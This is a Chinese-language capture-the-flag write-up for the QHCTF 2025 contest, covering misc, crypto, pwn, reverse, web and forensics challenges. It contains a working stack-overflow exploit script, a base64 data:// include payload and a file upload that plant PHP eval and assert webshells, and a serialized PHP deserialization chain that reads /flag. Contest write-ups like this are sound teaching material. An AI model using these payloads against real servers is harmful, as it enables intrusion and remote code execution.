解题情况
最终排名19,22道题目,20解,一道社工的你猜猜这是哪
和取证的Win_06
没解出来,题目质量并不高。其中逆向、密码均为wheeler
大佬提供的wp,猿类的语言的wp为beginner
大佬提供。
MISC
QHCTF For Year 2025
根据提示画图080714212829302316092230-04111825121306132027-0605041118252627-08091009162330-0102031516170108152229-0108142229-0203041617180209162330-0108152229303124171003-231609021725181104-01020917233029
FLAG为QHCTF{FUN}
______启动!
挨个查看了一下流量,基本上都是加密的,最有线索的是流135,很像是webshell的流量,但是最终返回的是403,自己解密拿不到内容
感觉像是冰蝎的流量,通过PuzzleSolver
解密出下面内容,他是冰蝎4的流量
通过豆包解密
flag为QHCTF{69b62b46-de2f-4ac2-81f7-234613d25cfb}
你能看懂这串未知的文字吗
翻了好多,找到一个差不多的,羊文解密拿到内容
szfpguwizgwesqzoaoerv
,直接提交是失败的,继续从图片中找内容,发现有一个lsb隐写
拿到lsb的字符串qihangbeiiseasy
,之后使用维吉尼亚密码尝试解密拿到flagcryptoveryeasybysheep
,在羊文图中后面有三个!
,加上即可
flag为QHCTF{cryptoveryeasybysheep!!!}
请找出拍摄地所在位置
图片内如如下
根据可用信息绿源
、雅迪
、洋丰复合肥
、柳化复合肥
去地图中挨个找。
找到下面地址https://j.map.baidu.com/74/OpSi
flag为QHCTF{广西壮族自治区柳州市柳城县榕泉路与六广路交叉口}
PvzHE
纸老虎,直接按日期排序,最早的图片中就有flag
猿类的编程语言你了解吗
用工具jphs出了,原来的其他隐写工具没出来
seek后出来一个okk码
.. .. .. .. .. .. .. .. .. .. !? .? .. .? .. .. .. .? .. .. .. .. .. .. .. .? .. .. .. .. .. .. .. .. .. .. ?. ?. ?. ?. !! ?! .? .? .? .. .. .. .. .. .. .. .. .. .. .. !. !! !! !! !! !! !! !! !! !! !. !! !! !! !! !! !. .? !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !. ?. .. .. .. !. .? .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. !. ?. ?. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. !. .? .? !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !! !. ?. ?. .. .. .. !. !. .? .? !. ?. ?. !! !! !! !! !! !. .? .? .. !. ?. ?. .. .. .. .. !. !! !! !! !! !! !! !! !. .? .? !! !! !! !! !. ?. ?. .. .. .. .. .. .. .. .. !. .? .? !. ?. ?. .. .. .. .. !. !! !! !! !! !! !! !! !! !! !! !! !! !. .. .. .. .. .. .. .. !. !! !! !! !! !. .? .? .. .. .. .. !. !! !! !! !! !. ?. ?. !! !! !! !. .. .. .. .. .. .. .. .. .. .. .. !. !! !! !! !! !! !! !! !! !. .? .? .. .. .. .. .. !. ?. ?. .. .. .. .. !. !! !! !! !! !! !! !! !. .? .? !! !! !! !! !. .. !. ?. ?. .. .. .. .. .. .. !. .. .. .. !. !! !! !! !! !! !! !. .. .. .. !. .? .? !! !! !. ?. ?. !! !! !! !. .? .? .. .. .. .. !. !! !! !! !! !. ?. ?. .. .. .. !. .. .. .. .. .. .. !. .? .? .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. !.
解密拿到flag
你猜猜我在哪
赛后公布的flagQHCTF{湖南省郴州市汝城县滨河大道与神农大道交叉路口}
Crypto
Easy_RSA
RSA签到题难度,给了公钥与私钥,直接解即可
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
key = RSA.generate(1024)
private_key = key.export_key()
public_key = key.publickey().export_key()
print("私钥:")
print(private_key)
print("公钥:")
print(public_key)
def encrypt_message(message, public_key):
key = RSA.import_key(public_key)
cipher = PKCS1_OAEP.new(key)
encrypted_message = cipher.encrypt(message.encode())
return base64.b64encode(encrypted_message).decode()
message = "Hello, this is a secret message!"
encrypted = encrypt_message(message, public_key)
print("加密后的消息:")
print(encrypted)
private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDDe2nPHYHbOm8UeieE0c2Dd8Avd7XEk3+Gi81rDkaRfbj9bNsP\n4TzkaY8VLTLuk36W6FQOowkfekbWxIx0jxNrhN2K+F5o4HQvyVDY/t14HYrWFR3c\nYo8abbrHc4RlEnxvyKlS8hlw1sPwXYvicVYE27Vdq3J7Y4VVZ8tWtBLuaQIDAQAB\nAoGAI5BJUK/qlwrLeKs8k1JkFD3uDfS2cfvvoHfAuHBRcFiyFhD+zaXJoTh/Gngt\nou/cgPHlkQAiQcLKLnp1nyMEgiK1NNwAtroS8lm1K4AZ3ltIKgqq4cnQSuFDDXZB\nw96P+DCkjI1hSRE+/TZ7cN9SllCVj6tS1Y7V76sMPNEoH80CQQDfBqSkGPWZm9zQ\nNVnrIizeEhz/aa7LJeYxirmkQy2X7Hs0vB2Y30a7ICU4LwnT+9ugFLM2mmpgrjLh\nVKN/uHL7AkEA4GJBqavJktwYCtTUnLWYIfsGMO5KZAdjZS1wvea2miZYJc6Qn61p\najON4PaSWEUQEKqk+9fwrsU3lrglmBaG6wJAE8IU5+zGJVunjlKLqscWTn4wT3hf\nYePzpsPxelnxOhpbN+rKfHabX4yTf4y7RCp15JKw5c98SSBlpYzIB1Kh7QJBANwW\nREXCZFMSYtqs62ZSkEg0SlxQPtNik9G4Am+iDtWgarGarSySEWXD75QLBnxiMWHH\nn1AO/NrQQrgpI2bMIcUCQQCI5JQzp8FmyjjOsrJiwT0NWiTdko6qMCZ4LEFMY0s8\nGylIRw11S0K+dU0LI4Xs92AxuA1BPN25KMGmwvxtWmPR\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDe2nPHYHbOm8UeieE0c2Dd8Av\nd7XEk3+Gi81rDkaRfbj9bNsP4TzkaY8VLTLuk36W6FQOowkfekbWxIx0jxNrhN2K\n+F5o4HQvyVDY/t14HYrWFR3cYo8abbrHc4RlEnxvyKlS8hlw1sPwXYvicVYE27Vd\nq3J7Y4VVZ8tWtBLuaQIDAQAB\n-----END PUBLIC KEY-----'
cip = b"v1XpEQbLRdiqwgZXbn0xBNQ7kjCD3MgwbJa+ZQUmpPz++ZFw3FGjUKL140Rqceukiwq44xGy3ZqRfPZHRg7KISN/544dWq4rHcOx4I087oTYrHVjESsBJMxnpSuBNB6jEQVcPRapDlitHsNdkphIr24cwstzLzwcf1ORpWYDugg="
def decrypt_message(encrypted_message, pri_key):
message = base64.b64decode(encrypted_message)
key = RSA.import_key(pri_key)
cipher = PKCS1_OAEP.new(key)
ming = cipher.decrypt(message)
return ming
m = decrypt_message(cip,private_key)
print(m)
PWN
Easy_pwn
经典栈溢出
from pwn import *
context.log_level = "debug"
# sh = process("./pwn1")
sh = remote("154.64.245.108",33275)
ret = 0x0000000000401016
back_door = 0x0000000004011C6
payload = b"a"*0x58 + p64(ret) + p64(back_door)
sh.sendlineafter(b"Welcome to QHCTF 2025!\n",payload)
sh.interactive()
Reverse
Checker
就一异或
cip = bytes.fromhex("726B607765584646154014411A400E461445160E174542410E1A4147450E4642131446131017451542165E")
cip = bytearray(cip)
for i in range(len(cip)):
cip[i] ^= 0x23
print(bytes(cip))
rainbow
就一异或 x2
cip = bytearray(bytes.fromhex("0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227"))
for i in range(len(cip)):
cip[i] ^= 90
print(bytes(cip))
note
去下载最新版 upx来对note进行脱壳
https://github.com/upx/upx/releases/tag/v4.2.4brva 0x0000000000012A8
下断点,即可看到flag
WEB
Easy_include
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
if(!preg_match("/flag/i",$file))
{
include($file);
}
else
{
echo("no no no ~ ");
}
}
else
{
highlight_file(__FILE__);
}
?>
通过payload?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOyA/Pg==
构造一个一句话木马,直接通过蚁剑连接即可,因为是动态flag这里不多写了。
PCREMagic
<?php
function is_php($data){
return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
if (!is_dir($user_dir)) {
mkdir($user_dir, 0755, true);
}
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
exit;
}
?> 1
手写一个提交文件的网页
<form
action="http://challenge.qihangcup.cn:35056/"
method="POST"
enctype="multipart/form-data"
>
<input type="file" name="file" />
<input type="submit" value="Upload File" />
</form>
action写自己的靶机地址,之后上传一句话木马
<?php assert($_POST['shell']); ?>
自己可以构造一个phpinfo查看禁用的函数,这里只能通过assert伪造
编码器记得勾选base64,不然都是不能用的,必须用编码绕过。
Web_IP
php的SSIT,直接构造一个查看flag的
Web_pop
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to QHCTF 2025, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
构造代码如下
<?php
// error_reporting(0);
// highlight_file(__FILE__);
class Start
{
public $name;
public $func;
// protected $func;
// public function __destruct()
// {
// echo "Welcome to QHCTF 2025, " . $this->name;
// }
// public function __isset($var)
// {
// ($this->func)();
// }
}
class Sec
{
// private $obj;
// private $var;
public $obj;
public $var;
// public function __toString()
// {
// $this->obj->check($this->var);
// return "CTFers";
// }
// public function __invoke()
// {
// echo file_get_contents('/flag');
// }
}
class Easy
{
public $cla;
// public function __call($fun, $var)
// {
// $this->cla = clone $var[0];
// }
}
class eeee
{
public $obj;
// public function __clone()
// {
// if (isset($this->obj->cmd)) {
// // echo "success";
// }
// }
}
$f = new Sec();
$e = new Start();
$d = new eeee();
$c = new Easy();
$b = new Sec();
$a = new Start();
$e->func = $f;
$d->obj = $e;
$c->cla = $d;
$b->var = $d;
$b->obj = $c;
$a->name = $b;
echo serialize($a);
即O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:3:"var";r:4;}s:4:"func";N;}
Forensics
关于动态取证
流程是e01->FTK Image工具->转换raw->通过qume-img->转换vmware虚拟磁盘,导入虚机即可
Win_01
1.找出系统中蛤客的ip地址及端口,提交方式请以QHCTF{md5(127.0.0.1:80)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
动态调试系统发现Server2.exe是被删除的,通过取证工具给他拖出来,就是在HackY$的开机启动目录
拖出来之后各种沙箱分析,最终在安恒的沙箱中出现了一个ip
flag即QHCTF{md5{192.168.20.1:8000}}即QHCTF{ad4fdee2eada36ec3c20e9d6311cf258}
Win_02
2.蛤客在控制小明的系统后,创建了一个最高权限的后门账户,请你找出该账户的用户名及密码,提交方式请以QHCTF{md5(user_password)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
参考文档https://blog.51cto.com/u_16747374/12268420
获取账号密码hash,最红hash解密为123456即账flagQHCTF{md5(HackY$_123456)}
即QHCTF{fb484ad326c0f3a4970d1352bfbafef8}
Win_04
4.蛤客在系统数据库中藏了一些东西,请你找出其中的flag值
动态取证直接去cmd打开regedit
就可以直接拿到flag,这是最快的方法,它默认退出的位置就是他设置flag的位置,也可以通过一个reg
文件获取,进去直接搜索QHCTF即可拿到flag
Win_05
5.小明在找你帮忙之前,喊了他的一位好友帮他先行取证,请你找出他好友远程所使用的软件,并找出控制了多少秒,ip是什么,提交方式请以QHCTF{md5(xxxx_10_127.0.0.1)}进行提交,例如:QHCTF{cef54f47984626c9efbf070c50bfad1b}
在下载目录中Download中,有两个Todesk,去翻找它们的日志文件,也可以直接从去取证大师中直接拿到ip和时间
flag即QHCTF{md5(Todesk_781_223.104.132.99)
其中时间计算他这里是有误的,他这个时间计算是779,可能存在计算误差,挨个累加尝试到781成功即flagQHCTF{dca8df29e49e246c614100321e3b932e}
Win_07
7.蛤客在home目录中存放了一个恶意程序,请你分析该程序,并找到其中的flag值
在HackY$的Desktop(桌面)中存放着
这个内容,通过执行命令set
拿到环境变量,即密码
拿到密码解密内容为即flagQHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}
2 条评论
tql